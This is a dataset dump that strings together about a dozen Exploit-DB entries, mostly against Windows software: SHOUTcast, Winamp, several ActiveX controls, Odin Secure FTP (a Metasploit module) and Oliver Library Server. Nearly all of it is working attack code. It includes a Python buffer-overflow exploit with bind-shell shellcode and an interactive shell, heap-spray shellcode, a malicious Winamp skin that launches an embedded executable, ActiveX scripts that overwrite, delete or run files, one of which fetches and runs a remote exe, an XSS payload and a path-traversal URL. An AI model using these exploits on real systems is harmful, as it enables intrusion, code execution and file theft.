deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23328
Description: Nullsoft SHOUTcast 1.9.2 - 'icy-name/icy-url' Memory Corruption (1)
Type: remote
Platform: windows
Date: 2003-11-03
Author: airsupply

Exploit:
source: https://www.securityfocus.com/bid/8954/info

Nullsoft SHOUTcast Server is prone to a memory corruption vulnerability that may lead to denial of service attacks or code execution. This is due to insufficient bounds checking of server commands supplied by authenticated users, specifically icy-name and icy-url.

This issue was reported in SHOUTcast 1.9.2 on Windows platforms. Other versions and platforms may also be affected.

#test under gentoo linux ,exec it python shoutexp.py 192.168.0.1
#code by airsupply_at_0x557.org
#thx all sst members

import socket,string,base64
import sys
import telnetlib
import time
t_ip=sys.argv[1]
print t_ip
try:
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((t_ip,8001))
except:
    sys.exit(-1)
########send get ip req####### 
s.send('changeme')
s.send('\r\n');
data=s.recv(1024)
print data
nop='\x90'

shellcode ='\x31\xc0'+\
'\x50'+\
'\x40'+\
'\x89\xc3'+\
'\x50'+\
'\x40'+\
'\x50'+\
'\x89\xe1'+\
'\xb0\x66'+\
'\xcd\x80'+\
'\x31\xd2'+\
'\x52'+\
'\x66\x68\x13\xd2'+\
'\x43'+\
'\x66\x53'+\
'\x89\xe1'+\
'\x6a\x10'+\
'\x51'+\
'\x50'+\
'\x89\xe1'+\
'\xb0\x66'+\
'\xcd\x80'+\
'\x40'+\
'\x89\x44\x24\x04'+\
'\x43'+\
'\x43'+\
'\xb0\x66'+\
'\xcd\x80'+\
'\x83\xc4\x0c'+\
'\x52'+\
'\x52'+\
'\x43'+\
'\xb0\x66'+\
'\xcd\x80'+\
'\x93'+\
'\x89\xd1'+\
'\xb0\x3f'+\
'\xcd\x80'+\
'\x41'+\
'\x80\xf9\x03'+\
'\x75\xf6'+\
'\x52'+\
'\x68\x6e\x2f\x73\x68'+\
'\x68\x2f\x2f\x62\x69'+\
'\x89\xe3'+\
'\x52'+\
'\x53'+\
'\x89\xe1'+\
'\xb0\x0b'+\
'\xcd\x80';
eax='\xe3\xd0\x06\x08';
ret='\x50\xd0\x06\x08';
icy_name='icy-name:'+nop*50+shellcode+nop*(141-len(shellcode))+ret+nop*4+eax+nop*105+eax+nop*200;
will_send= 'icy-genre:DoS radio\r\n'+\
           'icy-url:aaa\r\n'+\
           'icy-pub:1\r\n'+\
           'icy-irc:N/A\r\n'+\
           'icy-icq:N/A\r\n'+\
           'icy-aim:N/A\r\n'+\
           'icy-br:160'+\
           '\r\n'
           

s.send(will_send);
print 'send icy-name\n'
s.send(icy_name);
s.close()
time.sleep(1)
try:
    s2=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s2.connect((t_ip,5074))
except:
    print "s2 fuck out\n"
    sys.exit(-1)
s2.send("unset HISTFILE;id;\n");
recvdata=s2.recv(100);
print recvdata
t=telnetlib.Telnet();
t.sock=s2;
t.interact();
sys.exit(-1);
Exploit-DB #29685
Description: Nullsoft SHOUTcast 1.9.7 - Logfile HTML Injection
Type: remote
Platform: windows
Date: 2007-02-27
Author: SaMuschie

Exploit:
source: https://www.securityfocus.com/bid/22742/info

Nullsoft SHOUTcast is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

This issue affects SHOUTcast 1.9.7 for Microsoft Windows; other versions may also be vulnerable.

http://www.example.com/"/><script>alert(document.getElementsByTagName("PRE")[0].firstChild.data)</script>
Exploit-DB #24413
Description: NullSoft Winamp 2.4 < 5.0.4 - '.wsz' Remote Code Execution
Type: remote
Platform: windows
Date: 2004-07-26
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/11053/info

A vulnerability in Winamp has been discovered that may permit remote attackers to execute arbitrary code on client computers through a malicious .WSZ Winamp skin file. This issue is currently being exploited in the wild.

This vulnerability may be exploited through a Web site, or any other means that will allow the attacker to transmit the malicious file to a victim user.

This vulnerability is reported to affect all versions of Winamp up to and including 5.04. 

index.html
-----------
<html>
<head>
</head>
<frameset rows="*,1" framespacing="0" border="0" frameborder="NO">
<frame src="load.php" name="frame_content" scrolling="auto" noresize>
</frameset>
<noframes>
<body>
</body>
</noframes>
</html>

Load.php
---------
<?php
$httpref = $HTTP_REFERER;
header("Location: http://URL/foo.wsz");
?>

foo.wsz (foo.zip)
-----------------
/frame/
/maki/
/shade/
/html/
/html/file.exe (malicious file to execute)
/html/test.htm (html to load the .exe)
/player/
/player/Thumbs.db
/xml/
/xml/includes.xml
/xml/player-normal.xml
/xml/player.xml
/skin.xml


/html/test.htm
----------------
<html>
<OBJECT NAME='X' CLASSID='CLSID:[PII_REDACTED]-[PII_REDACTED]' CODEBASE='file.exe'>
</html>


/xml/includes.xml
-------------------
<include file="player.xml"/>


/xml/player-normal.xml
-------------------------
<layout>
<browser id="browser" x="0" y="0" w="0" h="0" relatw="1" relath="1" url="file:///@SKINPATH@html/test.htm" />
</layout>


/xml/player.xml
-----------------
<container id="main" name="main">
<include file="player-normal.xml"/>
</container>


/skin.xml
---------
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<WinampAbstractionLayer version="1.1">
<skininfo>
<version>1.0</version>
<name>Batman</name>
<comment></comment>
<author>Petrol Designs</author>
<email>info@petroldesigns.com</email>
<homepage>http://www.petroldesigns.com</homepage>
</skininfo>

<include file="xml/includes.xml"/>
<!--
-->
</WinampAbstractionLayer>
Exploit-DB #24571
Description: NullSoft Winamp 2.x/3.x/5.0.x - ActiveX Control Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2004-09-03
Author: celebrityhacker

Exploit:
source: https://www.securityfocus.com/bid/11107/info

Nullsoft Winamp ActiveX Control is alleged to be prone to a remote buffer overflow vulnerability. This issue presents itself in an ActiveX control installed by the application. Reportedly, a malicious attacker can exploit this issue to execute arbitrary code.

<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD>
<BODY>
<OBJECT id=Kylie height=250 hspace=20 width=250 align=left classid=clsid:FA3662C3-
B8E8-11D6-A667-0010B556D978>
<PARAM NAME="Initialize" VALUE="">
</OBJECT>
<SCRIPT language=vbscript>

dim xint
dim haveIgotthebestbumorwhat
for xint = 1 to 5000
haveIgotthebestbumorwhat = foo & "K"
next
Kylie.AppendFileToPlayList haveIgotthebestbumorwhat

</SCRIPT>
</BODY></HTML>

If you're bored could also try -

CoAxTrack Class - {B9F3009B-976B-41C4-A992-229DCCF3367C}.
Exploit-DB #25989
Description: NullSoft Winamp 5.0 - Malformed ID3v2 Tag Buffer Overflow
Type: remote
Platform: windows
Date: 2005-07-15
Author: Leon Juranic

Exploit:
source: https://www.securityfocus.com/bid/14276/info

Winamp is susceptible to a buffer overflow vulnerability in its ID3v2 functionality. This issue is due to a failure of the application to properly bounds check input data prior to copying it into a fixed size memory buffer.

This issue will facilitate remote exploitation as an attacker may distribute malicious MP3 files and entice unsuspecting users to process them with the affected application.

An attacker may exploit this issue to execute arbitrary code with the privileges of the user that activated the vulnerable application.

Versions 5.03a, 5.09, and 5.091 are reported vulnerable to this issue. Other versions are also likely affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25989.mp3
Exploit-DB #6491
Description: NuMedia Soft Nms DVD Burning SDK - ActiveX 'NMSDVDX.dll' Command Execution
Type: remote
Platform: windows
Date: 2008-09-19
Author: Nine:Situations:Group

Exploit:
<!--
5.06 19/09/2008 -----------------------------------------------------------

-- NuMedia Soft NMS DVD Burning SDK Activex (NMSDVDX.dll) remote exploit --
by Nine:Situations:Group::bruiser

software site: http://www.nugroovz.com/
our site: http://retrogod.altervista.org/

affected software: CDBurnerXP 4.2.1.976, ??
tested against IE6

settings:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data  
IPersist Safe:  Safe for untrusted: caller,data  

mitigation: an "unlicensed software" box appears
however, if the user close it or click "OK", the code will run normally

explaination: "EnableLog" method can be used to overwrite a specified file,
"LogMessage" one to write new lines on it. 
Trough the Help and Support Center and the pluggable "hcp://" protocol you 
can launch your file. Important to note: the Help Center will host the page 
with elevated privileges, allowing the page to script arbitrary controls 
with no prompts presented to the user.
This was suggested by rgod (see hj forum) as a way to immediately execute
the shell
---------------------------------------------------------------------------

-->
<html>
<title> :( </title>
<object classid='clsid:C2FBBB5F-6FF7-4F6B-93A3-7EDB509AA938' id='DVDEngineX' />
</object>

<script language='vbscript'>
    
    DVDEngineX.Initialize True
    
    sLogFileName="C:\\WINDOWS\\PCHEALTH\\HELPCTR\\System\\sysinfo\\msinfo.htm"
    bCreateNew=True
    DVDEngineX.EnableLog sLogFileName ,bCreateNew 
    
    nl=unescape("%0d%0a")
    'my garbage ...
    sMsg="<HTML>" & _
         "<SCRIPT LANGUAGE=VBScript>" & nl & _
         "Dim WshShell, oExec" & nl & _
         "Set WshShell = CreateObject(""WScript.Shell"")" & nl & _
         "Set oExec = WshShell.Exec(""calc"")" & nl & _ 
         "Do While oExec.Status = 0" & nl & _
         "WScript.Sleep 100" & nl & _
         "Loop" & nl & _
         "WScript.Echo oExec.Status" & nl & _
         "<" & Chr(47) & "SCRIPT>" & nl & _
         "<" & Chr(47) & "HTML>" 
    DVDEngineX.LogMessage sMsg 
    
    window.location = "hcp://system/sysinfo/msinfo.htm"

</script>
</html>

# milw0rm.com [2008-09-19]
Exploit-DB #4903
Description: NUVICO DVR NVDV4 / PdvrAtl Module 'PdvrAtl.DLL 1.0.1.25' - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2008-01-13
Author: rgod

Exploit:
<!--
NUVICO DVR NVDV4 / PdvrAtl Module (PdvrAtl.DLL 1.0.1.25) remote heap
overflow exploit (IE7/XP SP2)

check a camera demo here: http://www.2mcctv.com/2mdemo.php
codebase: http://www.dvrstation.com/pdvratl.php?vendor=0

rgod /////////////////////////////// http://retrogod.altervista.org
-->
<html>
<script language="javascript">
//add su one, user: sun pass: tzu
shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741%u7734%u4734%u4570");
bigblock  = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<500;i++){memory[i] = block+shellcode}
var suntzu = new ActiveXObject("PdvrAtl.PdvrOcx.1");//D64CF6D4-45DF-4D8F-9F14-E65FADF2777C
wszFormat="";
for (i=0;i<=1666;i++){wszFormat=wszFormat + unescape("%0d")}
nTime=1;
suntzu.TimeSpanFormat(nTime ,wszFormat);
</script>
</html>

# milw0rm.com [2008-01-13]
Exploit-DB #4324
Description: NVR SP2 2.0 'nvUtility.dll 1.0.14.0' - 'DeleteXMLFile()' Insecure Method
Type: remote
Platform: windows
Date: 2007-08-27
Author: shinnai

Exploit:
----------------------------------------------------------------------------------------------
 NVR SP2 2.0 nvUtility.Utility.1 (nvUtility.dll v. 1.0.14.0) "DeleteXMLFile()" Inscure Method
 url: http://www.acti.com/index.asp

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 This control is marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller
 KillBitSet: Falso
----------------------------------------------------------------------------------------------

<object classid='clsid:A0D43FB0-116B-47AB-80FB-6DCFA92A03E3' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  Dim MyMsg  
   test.DeleteXMLFile "c:\windows\system_.ini"
   MyMsg = MsgBox("Exploit completed!")
 End Sub
</script>

# milw0rm.com [2007-08-27]
Exploit-DB #4323
Description: NVR SP2 2.0 'nvUtility.dll 1.0.14.0' - 'SaveXMLFile()' Insecure Method
Type: remote
Platform: windows
Date: 2007-08-27
Author: shinnai

Exploit:
--------------------------------------------------------------------------------------------
 NVR SP2 2.0 nvUtility.Utility.1 (nvUtility.dll v. 1.0.14.0) "SaveXMLFile()" Inscure Method
 url: http://www.acti.com/index.asp

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 This control is marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller
 KillBitSet: Falso
--------------------------------------------------------------------------------------------

<object classid='clsid:A0D43FB0-116B-47AB-80FB-6DCFA92A03E3' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  Dim mStr
  Dim MyMsg  
   mStr = "echo off" & vbCrLf & _
          "cls" & vbCrLf & _
          "echo Hello World!" & vbCrLf & _
          "cmd.exe /c notepad.exe" & vbCrLf & _
          "pause"

   test.SaveXMLFile "c:\shinnai.bat", mStr
   MyMsg = MsgBox("Exploit completed!")
 End Sub
</script>

# milw0rm.com [2007-08-27]
Exploit-DB #16716
Description: Odin Secure FTP 4.1 - 'LIST' Remote Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-14
Author: Metasploit

Exploit:
##
# $Id: odin_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::FtpServer
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Odin Secure FTP 4.1 Stack Buffer Overflow (LIST)',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Odin Secure FTP 4.1,
				triggered when processing the response on a LIST command. During the overflow,
				a structured exception handler record gets overwritten.
			},
			'Author' 	 =>
				[
					'rick2600',		#found the bug
					'corelanc0d3r',	#wrote the exploit
				],
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 11039 $",
			'References'     =>
				[
					[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'XP SP3 Universal', { 'Offset' => 264, 'Ret' => 0x10077622 } ],  # ppr [appface.dll]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Oct 12 2010',
			'DefaultTarget'  => 0))

	end

	def setup
		super
	end

	def on_client_unknown_command(c,cmd,arg)
		c.put("200 OK\r\n")
	end

	def on_client_command_list(c,arg)

		conn = establish_data_connection(c)
		if(not conn)
			c.put("425 Can't build data connection\r\n")
			return
		end
		print_status(" - Data connection set up")
		code = 150
		c.put("#{code} Here comes the directory listing.\r\n")
		code = 226
		c.put("#{code} Directory send ok.\r\n")

		badchars = ""
		eggoptions =
		{
		:checksum => true,
		:eggtag => "W00T"
		}
		hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)

		badchars = "\x00\xff\x0d\x5c\x2f\x0a"
		hunterenc = Msf::Util::EXE.encode_stub(framework, [ARCH_X86], hunter, ::Msf::Module::PlatformList.win32, badchars)

		offset_to_nseh=target['Offset']
		jmpback = "\xe9\x9c\xff\xff\xff"
		nops = "A" * 30
		filename = "A" * (offset_to_nseh-hunterenc.length-jmpback.length)

		nseh = "\xeb\xf9\x42\x42"
		seh = [target.ret].pack('V')
		junk2 = "A" * 4000

		buffer = filename + hunterenc + jmpback + nseh + seh + junk2 + egg
		print_status(" - Sending directory list via data connection")
		dirlist = "-rw-rw-r--    1 1176     1176         1060 Aug 16 22:22 #{buffer}\r\n"
		conn.put(dirlist)
		conn.close
		print_status(" - Payload sent, wait for hunter...")
		return

	end

end
Exploit-DB #7748
Description: Office Viewer ActiveX Control 3.0.1 - 'Save' Remote File Overwrite
Type: remote
Platform: windows
Date: 2009-01-13
Author: Houssamix

Exploit:
=======================================================================================<br>
Author: Houssamix									   <br>
=======================================================================================<br>

 Office Viewer ActiveX Control v 3.0.1 Remote File Overwrite exploit		<br>


 Tested on Windows XP Professional SP2 , with Internet Explorer 6	<br>


=======================================================================================<br>
<HTML>
<BODY>
 <object id=hsmx classid="clsid:{97AF4A45-49BE-4485-9F55-91AB40F288F2}"></object>

<SCRIPT>

function Do_it()
 {
     File = "c:\\windows\\system_.ini"
   hsmx.Save(File)
 }

</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="execute exploit"><br>
</body>
</HTML>
=======================================================================================<br>

This was written for educational purpose. Use it at your own risk.<br>
Author will be not responsible for any damage.<br>

# milw0rm.com [2009-01-13]
Exploit-DB #7749
Description: Office Viewer ActiveX Control 3.0.1 - Remote Command Execution
Type: remote
Platform: windows
Date: 2009-01-13
Author: Houssamix

Exploit:
=======================================================================================<br>
Author: Houssamix									   <br>
=======================================================================================<br>

 Office Viewer ActiveX Control v 3.0.1 Remote File execution exploit		<br>
 download : http://www.anydraw.com/download/EOfficeOCX.exe <br>


 Tested on Windows XP Professional SP2 , with Internet Explorer 6	<br><br>

description : this use to insecure methods "OpenWebFile()" for execute remote file in pc victime <br>
u can also execute a local file in pc victime usign this methode "Open()" , just change the function  do_it with this : <b>
function Do_it()
 {
   File = "c:\\windows\\system32\\cmd.exe"
   hsmx.OpenWebFile(File)
 }
 <br>
=======================================================================================<br>
<HTML>
<BODY>
 <object id=hsmx classid="clsid:{97AF4A45-49BE-4485-9F55-91AB40F288F2}"></object>

<SCRIPT>

function Do_it()
 {
   File = "http://test.com/file.exe"
   hsmx.OpenWebFile(File)
 }


</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="exploit">

</body>
</HTML>

# milw0rm.com [2009-01-13]
Exploit-DB #50599
Description: Oliver Library Server v5 - Arbitrary File Download
Type: remote
Platform: windows
Date: 2021-12-15
Author: Mandeep Singh

Exploit:
# Exploit Title: Oliver Library Server v5 - Arbitrary File Download
# Date: 14/12/2021
# Exploit Authors: Mandeep Singh, Ishaan Vij, Luke Blues, CTRL Group
# Vendor Homepage: https://www.softlinkint.com/product/oliver/ 
# Product: Oliver Server v5
# Version: < 8.00.008.053
# Tested on: Windows Server 2016

Technical Description:
An arbitrary file download vulnerability in Oliver v5 Library Server Versions < 8.00.008.053 via the FileServlet function allows for arbitrary file download by an attacker using unsanitized user supplied input.

Steps to Exploit:

1)  Use the following Payload:
        https://<hostaddress>/oliver/FileServlet?source=serverFile&fileName=<arbitrary file path>

2) Example to download iis.log file:
        https://<hostaddress>/oliver/FileServlet?source=serverFile&fileName=c:/windows/iis.log